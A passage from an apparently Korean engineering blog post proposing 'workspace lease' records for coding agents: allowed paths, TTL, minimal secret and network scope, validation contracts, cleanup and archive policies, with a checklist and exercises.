• changed files, allowed path 위반 여부
• validation commands와 결과
• 실패/보류 사유와 재현 명령
• 남은 임시 파일, DB, cache, background process 여부
• 다음 액션: merge, review, rerun, archive, discard

이 구조가 있으면 Execution Receipt와 Action Lineage Graph에 작업공간 단위 증거를 연결하기 쉬워집니다. 에이전트가 뭘 했는지만이 아니라, 어떤 환경에서 했고 그 환경을 어떻게 회수했는지가 남습니다.

실무 적용

1) 처음에는 broker를 서비스로 만들지 말고 기록부터 표준화한다

가장 현실적인 시작은 별도 플랫폼이 아니라 작은 lease record입니다. issue comment, PR body, JSON 파일, 내부 queue metadata 중 어디든 좋습니다. 중요한 것은 작업 생성 시점에 아래 필드를 강제하는 것입니다.

lease_id:
owner:
agent:
repo:
base_ref:
branch_or_worktree:
allowed_paths:
forbidden_paths:
ttl:
secret_scope:
network_scope:
validation_contract:
cleanup_policy:
result_target:

이 필드가 쌓이면 나중에 자동 broker로 옮기기 쉽습니다. 반대로 처음부터 Kubernetes operator나 복잡한 control plane을 만들면 실제 병목을 확인하기 전에 운영 부담이 커집니다.

2) worktree와 validation contract를 같이 발급한다

작업공간만 만들고 검증 명령을 나중에 정하면 결과 비교가 어렵습니다. lease 생성 시점에 “이 작업의 완료 조건"을 붙여야 합니다. 예를 들어 문서 작업은 frontmatter, 링크, 문자수 검증이 완료 조건이고, 백엔드 코드 작업은 unit test, integration test, migration dry-run, lint가 완료 조건일 수 있습니다.

기본 운영값은 아래처럼 잡을 수 있습니다.

• low-risk 문서/설정 작업: TTL 2~3시간, allowed paths 좁게, validation 1~3개
• 일반 코드 수정: TTL 4~8시간, repo 동시 lease 제한, unit test 필수
• migration/보안/권한 변경: TTL 짧게, secret scope 최소화, human review lane 고정
• 실패한 lease: 자동 재시도 1회 이하, 이후 result inbox로 보류
• 완료 후 cleanup evidence 없으면 merge 전 경고

이 기준은 Task Graph Runtime과도 연결됩니다. task graph의 각 노드가 독립 검증 단위를 갖듯, workspace lease도 독립 회수 단위를 가져야 합니다.

3) 비밀값과 네트워크 범위를 lease에 묶는다

코딩 에이전트 작업공간은 단순 파일 수정 공간이 아닙니다. 테스트를 돌리고, 패키지를 설치하고, 외부 문서를 읽고, 때로는 staging API에 접근합니다. 따라서 secret scope와 network scope를 lease에 넣어야 합니다.

권장 우선순위는 보수적입니다.

1. 기본값은 secret 없음, 외부 네트워크 제한
2. dependency install은 registry allowlist와 lockfile 검증
3. staging token은 작업군별 short-lived token만 사용
4. production secret은 자동 에이전트 workspace에 직접 주입 금지
5. 외부 전송·배포·결제 권한은 workspace lease가 아니라 별도 capability lease로 분리

이렇게 해야 작업공간 정리 실패가 곧 비밀값 잔존 사고로 이어지지 않습니다. Tool Permission Manifest와 같은 권한 선언 흐름이 workspace 레벨까지 내려오는 셈입니다.

트레이드오프/주의점

첫째, lease broker는 분명 마찰을 만듭니다. 에이전트를 바로 실행하는 것보다 lease를 발급하고 범위를 적는 과정이 느립니다. 하지만 repo가 커지고 병렬 작업이 늘면 이 마찰은 비용이 아니라 보험이 됩니다. 특히 같은 파일을 세 에이전트가 동시에 고치는 상황을 한 번 겪으면, 사전 범위 제한의 가치가 바로 보입니다.

둘째, 자동 cleanup은 조심해야 합니다. 오래된 작업공간을 전부 삭제하면 깔끔해 보이지만, 실패 재현 증거까지 날릴 수 있습니다. 처음에는 delete보다 archive가 낫습니다. 성공한 저위험 작업은 24~72시간 뒤 삭제하고, 실패·보안·권한 관련 작업은 7일 이상 보관하는 식으로 위험도별 정책을 나눕니다.

셋째, 중앙 broker가 병목이 될 수 있습니다. 모든 작은 작업까지 승인 큐를 타게 만들면 에이전트의 장점이 사라집니다. 따라서 정책은 risk-tier별로 달라야 합니다. 저위험 문서 수정은 자동 발급, migration·권한·배포 경로는 좁은 lease와 review lane을 붙이는 식이 현실적입니다.

넷째, lease record가 있어도 실제 환경 격리가 없으면 반쪽입니다. 같은 테스트 DB, 같은 Redis, 같은 로컬 cache를 공유하면 폴더만 분리된 상태가 됩니다. 최소한 테스트 namespace, temp directory, port range, cache key prefix는 lease id 기반으로 분리해야 합니다.

의사결정 우선순위는 충돌 방지 > 비밀값/권한 범위 > 검증 재현성 > 회수 가능성 > 실행 속도입니다. 에이전트가 빠르게 시작하는 것보다, 끝난 뒤 사람이 믿고 회수할 수 있는지가 더 중요합니다.

체크리스트 또는 연습

체크리스트

• 에이전트 작업마다 lease id, repo, base ref, branch/worktree가 기록된다.
• allowed paths와 forbidden paths가 작업 생성 시점에 정해진다.
• repo별 active lease 수와 같은 모듈 동시 수정 수에 상한이 있다.
• validation contract가 lease에 포함되고, 완료 보고는 같은 lease 안의 실행 결과만 인정한다.
• secret scope와 network scope 기본값이 최소 권한이다.
• idle/stale workspace 기준과 archive/delete 정책이 있다.
• result inbox에 lease 종료 이벤트, cleanup evidence, next action이 함께 들어간다.
• lease 범위를 벗어난 파일 수정은 merge 전에 경고되거나 차단된다.

연습

1. 현재 팀에서 에이전트가 가장 자주 만지는 repo 1개를 골라 active workspace 목록을 만들어 보세요. base ref가 24시간 이상 지난 작업이 몇 개인지 확인하는 것만으로도 stale 비용이 보입니다.
2. 문서 수정, 일반 코드 수정, migration 작업을 각각 하나씩 골라 lease TTL, allowed paths, validation contract를 표로 작성해 보세요.
3. 완료된 에이전트 작업 3건을 대상으로 “diff 요약"이 아니라 “lease 종료 이벤트” 형식으로 다시 정리해 보세요. cleanup evidence와 next action이 빠져 있을 가능성이 큽니다.

관련 글

• Stateful Sandbox Snapshot
• Harness Engineering
• Background Agent Session Result Inbox
• Agent Handoff Packet
• Capability Lease